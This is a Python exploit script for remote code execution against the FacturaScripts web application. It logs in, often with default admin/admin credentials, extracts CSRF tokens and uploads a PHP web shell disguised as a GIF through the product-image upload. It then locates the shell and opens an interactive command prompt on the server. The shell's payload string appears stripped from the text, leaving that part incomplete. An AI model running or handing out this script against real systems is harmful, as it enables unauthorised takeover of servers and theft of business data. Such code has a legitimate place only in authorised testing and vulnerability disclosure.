#!/usr/bin/env python3 """ FacturaScripts RCE Exploit - Fully Automated Author: Abdullah Alwasabei / Guzrex Description: Automatically logs in, enumerates products, extracts tokens, and uploads shell Usage: python3 exploit.py http://target.com -u admin -p admin """ import requests import sys import os import re import time import argparse from bs4 import BeautifulSoup class FacturaScriptsExploit: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}) self.token = None self.product_code = None self.product_id = None self.shell_url = None self.year = time.strftime("%Y") self.month = time.strftime("%m") def login(self): """Automatically login and get session""" print("[*] Attempting to login...") try: login_page = self.session.get(f"{self.base_url}/login") soup = BeautifulSoup(login_page.text, 'html.parser') token_input = soup.find('input', {'name': 'multireqtoken'}) if not token_input: print("[-] Could not find login token") return False csrf_token = token_input.get('value') login_data = { 'multireqtoken': csrf_token, 'action': 'login', 'fsNick': self.username, 'fsPassword': self.password } response = self.session.post(f"{self.base_url}/login", data=login_data) if response.status_code == 200 and 'Dashboard' in response.text: print("[+] Login successful!") return True else: print("[-] Login failed - check credentials") return False except Exception as e: print(f"[-] Login error: {e}") return False def enumerate_products(self): print("[*] Enumerating products...") try: response = self.session.get(f"{self.base_url}/ListProducto") soup = BeautifulSoup(response.text, 'html.parser') product_links = [] for link in soup.find_all('a', href=True): if 'EditProducto?code=' in link['href']: code = link['href'].split('code=')[-1] if code and code not in product_links: product_links.append(code) if product_links: print(f"[+] Found {len(product_links)} products") for i, code in enumerate(product_links[:5]): print(f" {i+1}. {code}") self.product_code = product_links[0] print(f"[+] Using product: {self.product_code}") return True else: self.product_code = "CONTA621" return True except Exception as e: self.product_code = "CONTA621" return True def get_product_id(self): print(f"[*] Getting product ID for {self.product_code}...") try: response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}") soup = BeautifulSoup(response.text, 'html.parser') id_input = soup.find('input', {'name': 'idproducto'}) if id_input and id_input.get('value'): self.product_id = id_input.get('value') print(f"[+] Product ID: {self.product_id}") return True self.product_id = "3" print(f"[+] Using default product ID: {self.product_id}") return True except Exception as e: self.product_id = "3" return True def get_upload_token(self): print("[*] Getting upload token...") try: response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}") token_pattern = r']*name="multireqtoken"[^>]*value="([^"]+)"' token_match = re.search(token_pattern, response.text) if token_match: self.token = token_match.group(1) print(f"[+] Got upload token") return True return False except Exception as e: return False def create_shell(self, output_file): shell_content = '''GIF89a ''' with open(output_file, 'w') as f: f.write(shell_content) return output_file def upload_shell(self, shell_file): print("[*] Uploading shell...") upload_data = { 'multireqtoken': self.token, 'action': 'add-image', 'activetab': 'EditProductoImagen', 'idproducto': self.product_id, 'referencia': '' } files = { 'newfiles[]': (os.path.basename(shell_file), open(shell_file, 'rb'), 'application/x-php') } try: response = self.session.post( f"{self.base_url}/EditProducto?code={self.product_code}", data=upload_data, files=files ) if "images added correctly" in response.text: print("[+] Shell uploaded successfully!") return True return False except Exception as e: return False def find_shell(self): print("[*] Locating uploaded shell...") for num in range(1, 10): test_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/{num}.php" try: response = self.session.get(f"{test_url}?cmd=echo test") if "SHELL_UPLOADED" in response.text: self.shell_url = test_url return test_url except: pass self.shell_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/1.php" return self.shell_url def execute_command(self, command): try: response = self.session.get(f"{self.shell_url}?cmd={command}") output = response.text output = output.replace("GIF89a", "").replace("SHELL_UPLOADED!", "").strip() return output except Exception as e: return str(e) def interactive_shell(self): print("\n==================================================") print("INTERACTIVE SHELL READY") print("Type 'exit' to quit\n") while True: try: cmd = input("$ ").strip() if cmd.lower() == 'exit': break if cmd: print(self.execute_command(cmd)) except KeyboardInterrupt: break def run(self): print("="*60) print("FacturaScripts RCE Exploit - Fully Automated") print("="*60) if not self.login(): return self.enumerate_products() self.get_product_id() if not self.get_upload_token(): return shell_file = self.create_shell(f"shell_{int(time.time())}.php") if not self.upload_shell(shell_file): return self.find_shell() print(f"[+] Shell URL: {self.shell_url}") result = self.execute_command("id") print(f"[+] Command output: {result}") self.interactive_shell() def main(): parser = argparse.ArgumentParser(description='FacturaScripts RCE Exploit') parser.add_argument('url', help='Target URL') parser.add_argument('-u', '--username', default='admin', help='Username') parser.add_argument('-p', '--password', default='admin', help='Password') args = parser.parse_args() exploit = FacturaScriptsExploit(args.url, args.username, args.password) exploit.run() if __name__ == "__main__": main()